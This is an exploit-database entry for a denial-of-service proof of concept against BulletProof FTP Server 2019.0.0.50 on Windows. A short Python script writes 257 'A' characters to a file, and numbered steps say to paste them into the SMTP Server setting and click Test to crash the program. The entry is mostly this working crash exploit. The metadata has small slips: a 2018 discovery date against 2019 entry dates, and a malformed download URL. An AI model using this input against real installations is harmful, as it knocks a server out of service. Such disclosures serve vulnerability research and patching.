BulletProof FTP Server 2019.0.0.50 - 'SMTP Server' Denial of Service (PoC)

Author: Victor Mondragón
type: dos
platform: windows
port: 
date_added: 2019-02-19 
date_updated: 2019-02-19 
verified: 0 
codes:  
tags: Denial of Service (DoS)
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.combpftpserver_install-2019.0.0.50.exe

#Exploit Title: BulletProof FTP Server 2019.0.0.50 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2018-02-19
#Vendor Homepage: http://bpftpserver.com/
#Software Link: http://bpftpserver.com/products/bpftpserver/windows/download
#Tested Version: 2019.0.0.50
#Tested on: Windows 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: BulletProof_FTP_Server_2019.0.0.50.py
#2.- Open bullet.txt and copy content to clipboard
#3.- Open BulletProof FTP Server
#4.- Select "Settings" > "SMTP"
#5.- In "Email Server" select "SMTP Server" and Paste Clipboard
#6.- Click on "Test"
#7.- Crashed

cod = "\x41" * 257

f = open('bullet.txt', 'w')
f.write(cod)
f.close()